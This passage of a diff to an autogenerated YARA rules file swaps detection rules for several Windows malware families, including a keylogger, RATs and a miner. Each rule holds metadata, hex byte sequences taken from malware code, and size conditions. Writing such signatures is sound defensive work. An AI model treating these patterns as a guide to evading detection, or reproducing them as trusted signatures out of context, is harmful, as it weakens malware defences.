} + $sequence_15 = { c785acfcffff00000000 8985a8fcffff 8d8580fdffff c7442408???????? } + $sequence_16 = { 0f84f31d0000 0fb60e 83c601 3dff000000 } + $sequence_17 = { 0fb607 888598feffff 8b852cfdffff 89b594feffff } + $sequence_18 = { 0f84b70c0000 8bb538feffff 39f2 0f86c50a0000 } + $sequence_19 = { 890424 e8???????? 8b85c4fbffff 83ec08 8d9510feffff } + $sequence_20 = { 8944240c 8b856cfdffff 89442404 e8???????? 83ec10 8d8500fcffff } condition: - 7 of them and filesize < 263168 + 7 of them and filesize < 487424 } -rule MALPEDIA_Win_Jimmy_Auto : FILE +rule MALPEDIA_Win_Polyvice_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "571698ec-d0cc-5f2f-93fe-935369535da3" + id = "a1ddf89c-1c54-5551-99ab-406b8afd6790" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jimmy_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyvice_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "4dcefc186990b0fab3b8fbf45f928a3141684ff216c800369029d79b753cf37a" + logic_hash = "2b6e9e23b007599969dc0f145dba20938a3646054daf998e366135a635120584" score = 75 quality = 75 tags = "FILE" @@ -145064,32 +144910,32 @@ rule MALPEDIA_Win_Jimmy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 83c40c 85c0 7460 e8???????? } - $sequence_1 = { 32c0 eb6f 8b45e8 2b45f0 } - $sequence_2 = { e8???????? 59 668945f2 ff750c e8???????? 59 } - $sequence_3 = { 8b4dec 0fbe09 3bc1 755b } - $sequence_4 = { c745fc12030900 e9???????? 837de805 752c ff75e4 } - $sequence_5 = { 81ec40020000 c685cbfdffff01 6a00 6a02 e8???????? } - $sequence_6 = { 8d840004010000 50 e8???????? 59 89856cfeffff ff7508 } - $sequence_7 = { eb12 8b45f8 c6805001000001 33c0 0f855effffff 8b45f8 c9 } - $sequence_8 = { 59 59 ff75f4 e8???????? 59 ff75f8 } - $sequence_9 = { 8b45f8 8945f4 8b450c 8945fc } + $sequence_0 = { c1c207 4431c2 01ca 4489c9 c1c902 01d6 4189c8 } + $sequence_1 = { 41d1c1 4589ca 4589c1 4109f9 21fd 448954240c 4121c9 } + $sequence_2 = { 4c897c2420 e8???????? 488b0d???????? 4989c4 ffd3 488b2d???????? } + $sequence_3 = { 4489ef c1ef0a 4589d5 31f8 4531dd 01c2 4489e8 } + $sequence_4 = { 5b 5e 5f 5d c3 488d0de5a90100 41b804010000 } + $sequence_5 = { 41895120 0fb710 0fb64002 6641895125 41884127 488b443c48 } + $sequence_6 = { c1e80a 4131c6 4489d0 4189da 438d143e 21d8 41c1ca06 } + $sequence_7 = { 4131c0 4521d0 41c1ca02 4131d0 8d942a9979825a 4101c8 4489c9 } + $sequence_8 = { 4c8d0526d40000 c1e008 31c3 89f8 c1e818 0fb6d3 458b1c82 } + $sequence_9 = { 664139dc 0f46d9 83c201 0fb7c2 4439f0 7cdc } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 369664 } -rule MALPEDIA_Win_Tuoni_Auto : FILE +rule MALPEDIA_Win_Unidentified_092_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d6fe1657-0ba1-5787-bb02-c66c2de38004" + id = "59b4c790-d726-59b3-ba7e-c5c1b1aad17c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tuoni" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tuoni_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_092_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "1e49c2155d5f2354628f8bc71b59233071caabc76e3825284e0656eaaabf9b91" + logic_hash = "94c0cdecf630787615c3fd3071d6bf919aa9412f5889bd4558c045e4fba0dd89" score = 75 quality = 75 tags = "FILE" @@ -145103,32 +144949,32 @@ rule MALPEDIA_Win_Tuoni_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 84c0 7427 3c07 7423 8b4108 c6401c01 c7401816000000 } - $sequence_1 = { 894604 e8???????? 894604 8bc6 59 e8???????? c20400 } - $sequence_2 = { e8???????? b8???????? e9???????? 8d4dd8 e9???????? 8b45d0 83e001 } - $sequence_3 = { e8???????? 8d8daffbffff c645fc0a 51 8b08 e8???????? 8b8db4fbffff } - $sequence_4 = { 7429 6a08 59 33c0 83ec18 8bfe f3ab } - $sequence_5 = { 894c2414 8d0c28 89442420 8974241c 894c2418 55 7630 } - $sequence_6 = { e8???????? 83c40c 6b45e430 8945dc 8d80602a4500 8945e4 803800 } - $sequence_7 = { 85c0 7422 ff75e0 e8???????? ff75e4 e8???????? 53 } - $sequence_8 = { 0f848a030000 51 51 8bcc 8d45d8 50 8919 } - $sequence_9 = { e8???????? 83c40c 8d85a8fbffff 6a08 50 ff15???????? 85c0 } + $sequence_0 = { 50 8b08 ff511c c745fcffffffff 83ceff 8b7db4 } + $sequence_1 = { e8???????? 83bd94f6ffff08 8d8d98f5ffff 8d8580f6ffff 0f438580f6ffff 51 } + $sequence_2 = { 57 6a00 ff15???????? 50 ff15???????? 8bc3 8b4df4 } + $sequence_3 = { 8d8d14f6ffff e8???????? 8d8d14f6ffff 8ad8 e8???????? 84db 0f84b0000000 } + $sequence_4 = { 8b5ddc 03ca 23c7 8bd3 0bf0 c1ca0b 03f1 } + $sequence_5 = { 8b470c 89460c 8b4710 894610 c745fc00000000 8d4e14 c706???????? } + $sequence_6 = { c1c10a c1ca0d 33d1 895dfc 8b4df4 c1c902 33d1 } + $sequence_7 = { 8d8db8fdffff 81e37fffffff e8???????? f6c340 } + $sequence_8 = { ffd7 8bf8 897dd4 eb03 8b7dd4 } + $sequence_9 = { 51 8bd0 8d8d68fbffff e8???????? 8bf8 83c410 8d045b } condition: - 7 of them and filesize < 734208 + 7 of them and filesize < 10202112 } -rule MALPEDIA_Win_Netrepser_Keylogger_Auto : FILE +rule MALPEDIA_Win_Elirks_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f772ff80-f7e1-59f5-b4f9-deba38267db2" + id = "43457097-ea8b-5864-bbde-86ef37584143" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netrepser_keylogger_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.elirks_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "13abde176c0dbe626f8e6b9e0859b33d03f906fc80a16b44518b3026f31a5776" + logic_hash = "9b5bf7e4bf894eff89b4a5704e72b876af8697001a5b80ec9161e8abc0610ab3" score = 75 quality = 75 tags = "FILE" @@ -145142,40 +144988,34 @@ rule MALPEDIA_Win_Netrepser_Keylogger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 ff15???????? 8b550c 8902 8b450c 833800 742b } - $sequence_1 = { 51 8b5510 8b02 50 e8???????? 83f8ff 7507 } - $sequence_2 = { 895108 8b4538 89410c 8b553c 895110 8b4528 50 } - $sequence_3 = { 8b45e4 8945c0 eb07 c745c000000000 } - $sequence_4 = { 833d????????00 0f85ab000000 c645dc53 c645dd48 } - $sequence_5 = { 81ec3c010000 6804010000 8d85e0feffff 50 6a00 ff15???????? } - $sequence_6 = { 8d4310 8d89245b4100 5a 668b31 41 668930 41 } - $sequence_7 = { e9???????? c645cc44 c645cd41 c645ce54 } - $sequence_8 = { 8b701c 8bcf e8???????? 8b4c240c 0fb711 } - $sequence_9 = { c74424104c6f6164 c74424144c696272 c744241861727941 8974241c ff15???????? 8bc8 } - $sequence_10 = { 8b4d18 8d7520 e8???????? 83c418 85c0 } - $sequence_11 = { 8b0d???????? 51 e8???????? 8b442430 8b542414 8910 83c404 } - $sequence_12 = { ff15???????? a3???????? 8b542448 6a40 6800300000 52 6a00 } - $sequence_13 = { 3bc5 7d08 5d 33c0 5b 83c418 } - $sequence_14 = { 85c0 750d 8b442418 e8???????? 85c0 } - $sequence_15 = { 81c408010000 c3 8bff 55 8bec } + $sequence_0 = { 894608 5f 5e 81c40c020000 c3 } + $sequence_1 = { 0f848b010000 8b742414 8b15???????? 6a00 8d442440 50 } + $sequence_2 = { 56 8d7e08 57 8d442420 50 8d4c241c 51 } + $sequence_3 = { 52 8d5104 83c0ff 52 } + $sequence_4 = { 8d4c2414 51 8bd1 52 ff15???????? f605????????02 742c } + $sequence_5 = { 52 6a00 8bc3 e8???????? 85c0 7515 } + $sequence_6 = { 6a0c 50 b908000000 8bc7 e8???????? 8bf0 83c408 } + $sequence_7 = { 0f8592000000 f605????????08 a1???????? 53 8b1d???????? } + $sequence_8 = { 8b1d???????? 8b2d???????? 8b8120c20000 6aff 50 } + $sequence_9 = { e8???????? 85c0 7414 8b44241c 8d542410 } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Thunker_Auto : FILE +rule MALPEDIA_Win_Valley_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c02652c6-959e-5488-b341-ccfb73521f28" + id = "e31e391b-1d98-571d-b2e1-793b94f7ca99" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thunker_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.valley_rat_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "8683a109f273456a365b0d0365e46b8d3a1cb330ad7cb852c208d9e170093c6d" - score = 75 - quality = 75 + logic_hash = "4fd91bc63ffea1277d480fd520807726f4547d3a7eff2043dfcadcbba2a797a7" + score = 60 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -145187,32 +145027,38 @@ rule MALPEDIA_Win_Thunker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7505 e9???????? ffb5fcfdffff e8???????? 68???????? 8d8500feffff } - $sequence_1 = { e8???????? 8d8500feffff 50 e8???????? 8d8500feffff 50 68???????? } - $sequence_2 = { 7417 e9???????? 3de7710000 7433 7c79 } - $sequence_3 = { 8d0556412600 8945fc a1???????? 8945e8 8d05a02a2600 8945dc 8365f000 } - $sequence_4 = { e8???????? 83c40c 09c0 750d } - $sequence_5 = { e8???????? 6a06 53 e8???????? 83c410 eb40 6a04 } - $sequence_6 = { 09c0 743b 6a00 6800100000 8d85fceeffff 50 ffb5e0edffff } - $sequence_7 = { c6843d00feffff00 09ff 7405 83ffff 7502 eb48 } - $sequence_8 = { 83c40c 8d8544edffff 50 e8???????? 8985c4edffff } - $sequence_9 = { 89e5 51 56 57 8b7d08 ff750c } + $sequence_0 = { 005c7e46 00847e46008a46 0323 d188470383ee } + $sequence_1 = { c785dcfbffff9b9bcc64 c785e0fbffffee6364c8 c785e4fbffff97f1dbf3 c785e8fbffff9bab9b9b c785ecfbffff25539b9b c785f0fbffff9bcdcc64 } + $sequence_2 = { 897e48 897e40 897e44 89464c 8d442408 } + $sequence_3 = { 0101 0505050505 0505050505 0505050505 0505050505 0505050505 } + $sequence_4 = { 51 8d93440a0000 52 e8???????? 83c40c } + $sequence_5 = { 0101 0101 0201 0102 } + $sequence_6 = { 0101 0101 0101 0101 0101 0505050505 } + $sequence_7 = { 0001 0101 0102 0101 } + $sequence_8 = { c78530feffff73cacd64 c78534feffffce97707a c78538fefffffefffee9 c7853cfefffff7f4f8f0 c78540feffff9b9b9b9b c78544feffff9b9b9b9b c78548feffff9b9b9b9b } + $sequence_9 = { 0101 33c0 5e 5b } + $sequence_10 = { 8b15???????? 6800300000 52 50 ff15???????? 8b0d???????? 51 } + $sequence_11 = { c785c0f6ffff8173599d c785c4f6ffff9b9bcbf3 c785c8f6ffffe384bbe4 c785ccf6ffff12dfbfab } + $sequence_12 = { e8???????? 8b0d???????? 83c418 890d???????? 891d???????? } + $sequence_13 = { 00bcaf4500c5af 45 00f8 af } + $sequence_14 = { c785e8f7ffffdf10dfbf c785ecf7ffffe7f1dbcd c785f0f7ffff64ebb7c8 c785f4f7ffff64cfbfa3 c785f8f7ffff10d7bfe7 c785fcf7ffff121fbf13 c78500f8ffff9b9b9b64 } + $sequence_15 = { 0101 33c0 8be5 5d } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 2256896 } -rule MALPEDIA_Win_Lightwork_Auto : FILE +rule MALPEDIA_Win_Waterminer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d343952d-c497-57b0-a1b6-2c344677756b" + id = "8c2bad66-5d35-57b7-b9da-21c6dec00989" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightwork" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightwork_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.waterminer_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "ab480be92b4f3e94b9e8b99934bd7d24840465004bb1c1ae3a81e26cd770a803" + logic_hash = "f10b4bcaeeaace43d5cd2141c609b5656e22416293022c0fdf8f9cf3861e271d" score = 75 quality = 75 tags = "FILE" @@ -145226,71 +145072,77 @@ rule MALPEDIA_Win_Lightwork_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d5001 8b4508 8990c8010000 8b4508 890424 e8???????? 8b4508 } - $sequence_1 = { 83e0e0 89c2 8b450c 83e01f 09d0 } - $sequence_2 = { c3 55 89e5 8b4508 83c011 5d c3 } - $sequence_3 = { e8???????? 69d0e8030000 8b450c 01d0 8945f4 8b45f4 89c2 } - $sequence_4 = { 8b80d8010000 8b5510 89542408 8b550c 89542404 890424 e8???????? } - $sequence_5 = { 7419 8b45f0 8b55f4 89442404 89542408 8b4508 890424 } - $sequence_6 = { 55 89e5 8b4508 0fb64005 83e0f0 89c2 8b450c } - $sequence_7 = { 89e5 8b4508 c74008???????? 8b4508 c740047d000000 90 5d } - $sequence_8 = { 890424 e8???????? 8b450c 8b4014 014518 8b5518 8b4510 } - $sequence_9 = { 66894819 0fb65206 88501b 8b4508 c9 c3 55 } + $sequence_0 = { 51 6804100020 8b5508 52 } + $sequence_1 = { 8b9584fdffff 0fb68208794400 ff2485f0784400 8b8decfdffff 83c904 898decfdffff } + $sequence_2 = { 03bc24a8000000 488bcd 4c8d0d35cb0300 83e13f } + $sequence_3 = { b804000000 6bc014 8b8880434b00 330d???????? 894dfc } + $sequence_4 = { 02d0 49ffc3 418d4001 881418 } + $sequence_5 = { 8d8518f5ffff 50 e8???????? 83c404 898500f7ffff e8???????? 85c0 } + $sequence_6 = { 0344240c 4403d0 428b4405e7 418bd2 } + $sequence_7 = { 03442410 4403e8 428b4405e7 418bd5 } + $sequence_8 = { 03c1 03d0 488d051e580500 418b0400 } + $sequence_9 = { 6bc903 898180434b00 68???????? 8b55fc 52 } + $sequence_10 = { 02c8 41880c18 418a03 240f } + $sequence_11 = { 8945d8 837dd806 0f8797000000 8b4dd8 ff248d54e94600 8b55f8 } + $sequence_12 = { 83fa78 7f19 0fbe85f3fdffff 0fbe8800ec4900 83e10f 898d28fdffff eb0a } + $sequence_13 = { 8945f0 817df005010000 7302 eb05 e8???????? 8b4df0 c681f82c4b0000 } + $sequence_14 = { 03c0 2bc8 0f84ec040000 8d41ff 8b848288d20600 } + $sequence_15 = { 0344240c 4403d0 488d051a560500 418b0400 } condition: - 7 of them and filesize < 1132544 + 7 of them and filesize < 1556480 } -rule MALPEDIA_Win_Unidentified_081_Auto : FILE +rule MALPEDIA_Win_Colibri_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4bef4e35-3450-5f50-98ad-424279417112" - date = "2023-12-06" - modified = "2023-12-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_081_auto.yar#L1-L125" + id = "c5670290-4724-5847-ad87-e4a198921e3b" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.colibri_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "0bf113d92abe743278ae5a94b3d8f7a48f5ba7f91d2e79f1d3ac361b6c786f4e" + logic_hash = "07fa90a8bd47a0724796f8c6b0b275796c3daebded1dd7bb4e8069ed71142d39" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20231130" - malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" - malpedia_version = "20230808" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8985c8fdffff 83f808 0f84ab090000 83f807 0f8777090000 ff24854fa44000 33c0 } - $sequence_1 = { c74518f0944100 50 8d4dc4 e8???????? 68???????? 8d45c4 } - $sequence_2 = { 68???????? b9???????? e8???????? c645fc03 33c0 } - $sequence_3 = { eb02 33c0 8bbdc8fdffff 6bc009 0fb6bc38e8544100 8bc7 89bdc8fdffff } - $sequence_4 = { 8b7508 c7465c48554100 83660800 33ff } - $sequence_5 = { c645fc01 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 0f44c1 } - $sequence_6 = { 88440a34 8b049dd0d14100 c744023801000000 e9???????? ff15???????? 8bf8 } - $sequence_7 = { 83e61f c1f805 c1e606 8b0485d0d14100 80643004fd 8b45f8 } - $sequence_8 = { 6a01 6a00 f7d8 50 53 ff15???????? 8b8d34ffffff } - $sequence_9 = { ff15???????? 837c241001 7507 b101 e8???????? 8b35???????? } + $sequence_0 = { 8d8598fdffff 6804010000 50 6a02 59 } + $sequence_1 = { 50 6a02 59 e8???????? babab69c31 8bc8 } + $sequence_2 = { a1???????? 81ec90080000 53 56 57 8d0c4502000000 e8???????? } + $sequence_3 = { 59 e8???????? ba980aa4bf 8bc8 e8???????? ffd0 8945ec } + $sequence_4 = { 8b4dd0 8d144502000000 e8???????? a1???????? 8b4dcc 8d144502000000 e8???????? } + $sequence_5 = { e8???????? 53 8bf0 56 6aff 57 6a00 } + $sequence_6 = { 8365f800 50 e8???????? 59 85c0 7413 8b4dfc } + $sequence_7 = { ffd0 e8???????? 8b75d0 85c0 } + $sequence_8 = { 8945fc b944000000 b000 8b7dfc } + $sequence_9 = { 50 68e9fd0000 6a02 59 e8???????? bac0bc4316 8bc8 } condition: - 7 of them and filesize < 273408 + 7 of them and filesize < 51200 } -rule MALPEDIA_Win_Blackmagic_Auto : FILE +rule MALPEDIA_Win_Cmsbrute_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9637b230-6b90-5402-8df5-d6a9a08385b0" + id = "238a708e-338b-5ab5-8256-9ba00c6b30fb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackmagic_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cmsbrute_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "0682a81f91c82180ece20284a26ec164fbede145e670a9eec1710d6febfbedfc" + logic_hash = "634330623f3144af6ff0dc1b30b95f2861c0e95f174875a559bba752af7efe44" score = 75 quality = 75 tags = "FILE" @@ -145304,32 +145156,32 @@ rule MALPEDIA_Win_Blackmagic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8d05aa2c0200 e8???????? 488bf0 4885c0 7412 488bc8 ff15???????? } - $sequence_1 = { 488bd7 488d8c2430010000 e8???????? 90 33d2 41b810010000 488d8c24e0010000 } - $sequence_2 = { 33db 49895bb8 885c2470 448d4317 488d15898a0400 498d4ba8 e8???????? } - $sequence_3 = { 488d4dd7 e8???????? 90 41b84d000000 488d159b810400 e8???????? 90 } - $sequence_4 = { 0f284587 488d154d1b0300 488d4d87 660f7f4587 e8???????? 488d5587 488d4c2440 } - $sequence_5 = { e8???????? 4885c0 7411 8a0e 488d1597120300 488910 884808 } - $sequence_6 = { 90 488d05437a0600 4889442428 488d4c2460 488d542468 488b442468 } - $sequence_7 = { 488b05???????? 488945d0 488b75f0 488975b8 488975d8 33c0 488985c0000000 } - $sequence_8 = { e8???????? 488bd8 488bc3 4883c430 415e 5f 5e } - $sequence_9 = { 488905???????? ff15???????? 483305???????? 488d1560360300 488bcb 488905???????? ff15???????? } + $sequence_0 = { f7d1 c1e91f c1e81f 22c1 8bd6 8d4eff c1e91f } + $sequence_1 = { ffb57cfeffff 83c01c 50 e8???????? 83c40c 85c0 7d0f } + $sequence_2 = { e9???????? 8b8780000000 8b7758 81c60c010000 8945d4 3bc3 7505 } + $sequence_3 = { ebad 85f6 7466 8b5d0c 8b03 85c0 7407 } + $sequence_4 = { ff0e 8b06 85c0 7f3b 7426 68ed010000 bf???????? } + $sequence_5 = { f645ff40 7412 8b87c0000000 3b86e0000000 0f85bbfeffff 33c0 40 } + $sequence_6 = { c3 80f92b 740d 80f92d 7408 84c9 74e4 } + $sequence_7 = { ffb7f8000000 83c620 ff76e8 c1e003 56 57 50 } + $sequence_8 = { ff4df4 3975dc 7461 c745f001000000 85f6 7456 ff75cc } + $sequence_9 = { 8b07 59 8983d8040000 e9???????? ff36 8db334040000 e9???????? } condition: - 7 of them and filesize < 1416192 + 7 of them and filesize < 5275648 } -rule MALPEDIA_Win_Webc2_Qbp_Auto : FILE +rule MALPEDIA_Win_Mosaic_Regressor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9750d3af-ce6a-5fd6-82be-e974a57fe309" + id = "6545d5ce-704c-5c00-a6cd-ec1b5c909576" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_qbp_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mosaic_regressor_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "29a4c00125a8c7fc3f2d53e8e3fdae1793d32ea093da5da3654341cbb647aaec" + logic_hash = "73c7fd14f8effd7ac9e0816b586de74eff8d0d21c8391e8e84f2921e57196fdb" score = 75 quality = 75 tags = "FILE" @@ -145343,32 +145195,32 @@ rule MALPEDIA_Win_Webc2_Qbp_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7f12 8b4508 0345fc 33c9 8a08 83e930 894df4 } - $sequence_1 = { 25ffff0000 2500800000 c1f80f 8be5 5d c3 55 } - $sequence_2 = { 8b5508 52 ff15???????? 8d85f0feffff 50 } - $sequence_3 = { 0fbf94414c520000 81fa00100000 7505 e9???????? 0fbf4508 8b4df8 } - $sequence_4 = { 81e1ff000000 51 8b4de4 e8???????? } - $sequence_5 = { aa 837d0800 7564 6800010000 6a00 8d85ecfdffff 50 } - $sequence_6 = { 66898c5038770000 0fbf55f0 8b45ec 668b8c50907e0000 66894df8 } - $sequence_7 = { 668b9176830000 668955fc 8b45f8 668b8876830000 66d1e1 8b55f8 } - $sequence_8 = { 66050100 668945f4 e9???????? 66c745f80000 66c745f43a01 eb18 } - $sequence_9 = { 0fbf5508 0fbf45fc 8b4df8 8b75f8 668b945648100000 6689944148100000 } + $sequence_0 = { e8???????? 670010 386700 1023 d18a0688078a } + $sequence_1 = { 8975e0 8db1d0a70010 8975e4 eb2a } + $sequence_2 = { 85c0 7456 8b4de0 8d0c8de0b70010 8901 8305????????20 } + $sequence_3 = { f3a4 6a1c 8d8c2480060000 51 6a00 ffd5 8d842478060000 } + $sequence_4 = { 8d442460 50 6a00 ffd5 8d442458 48 8d4900 } + $sequence_5 = { 895008 8d542458 52 88480c } + $sequence_6 = { c744241444000000 8bc8 90 8a10 } + $sequence_7 = { 6a06 89430c 8d4310 8d89c4a70010 5a } + $sequence_8 = { 8bff 55 8bec 8b4508 ff34c578a10010 ff15???????? 5d } + $sequence_9 = { 6a00 6a00 6a00 8d942498080000 } condition: - 7 of them and filesize < 630784 + 7 of them and filesize < 113664 } -rule MALPEDIA_Win_Unidentified_099_Auto : FILE +rule MALPEDIA_Win_Rtpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6834d9d3-6a75-5c68-b5d3-9237e184ef6d" + id = "48afc2d3-0fb5-53bf-8881-dc9c81c0d9e1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_099_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rtpos_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "7fd05f1e717b782bb9ac06a7756c0dc03e1b36f5a16d932168b1c5d5cda9cc3a" + logic_hash = "0b0f1725f7ad0b7de27494142fb6c361ef93a30e83e526a4fdbf697f28682ace" score = 75 quality = 75 tags = "FILE" @@ -145382,32 +145234,32 @@ rule MALPEDIA_Win_Unidentified_099_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48895c2408 4889742410 57 4883ec20 488d1d7e700100 } - $sequence_1 = { 498bcd ff15???????? b974000000 e8???????? 4c8bd0 } - $sequence_2 = { 488d05fb9d0000 49c1e302 4889452f 83e202 8bc2 4903c3 4c8945ef } - $sequence_3 = { f3aa 488d8520030000 33c9 4533c9 4889442420 4533c0 ff15???????? } - $sequence_4 = { 4885c0 0f8421040000 4d8bc5 488d1506950100 488d4c2450 } - $sequence_5 = { 7410 488d0d2cb50100 4883c428 e9???????? e8???????? 85c0 } - $sequence_6 = { 752c 4985df 7527 488b9540070000 4c8d0502860000 498bcd 44897604 } - $sequence_7 = { 41b880000000 e8???????? 4533ed 488d8d50040000 33d2 44896c2468 } - $sequence_8 = { 488d8c2490200000 4533c9 48897c2430 897c2428 ba00000080 c744242003000000 } - $sequence_9 = { 488d7f01 4883fa2d 7ce7 4c8d8510020000 } + $sequence_0 = { e9???????? 8b55d4 52 ff15???????? 8b45cc 50 ff15???????? } + $sequence_1 = { 8d8dd8fcffff 51 e8???????? 83c40c c785c4fcffff00000000 } + $sequence_2 = { 50 ff15???????? 8b4dcc 51 ff15???????? e9???????? 8b55ec } + $sequence_3 = { 8945b4 837db4ff 0f84d8010000 33c0 8945e8 8945ec } + $sequence_4 = { 0f84bc9f0000 ff7508 48 a3???????? } + $sequence_5 = { 85c0 751b 8b4dd4 51 ff15???????? } + $sequence_6 = { 6bf830 894df8 6a0a 8b048db86a4300 5b 8b543818 8955ec } + $sequence_7 = { 8b048db86a4300 f644382848 58 743a 668b55fc 663bd0 7505 } + $sequence_8 = { c745d800000000 837ddc00 7411 8b4ddc 51 } + $sequence_9 = { 6a02 8d4dfc e8???????? 8b4d08 c7410801000000 8b5108 8b049524604300 } condition: - 7 of them and filesize < 314368 + 7 of them and filesize < 507904 } -rule MALPEDIA_Win_Zeus_Sphinx_Auto : FILE +rule MALPEDIA_Win_Entryshell_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = 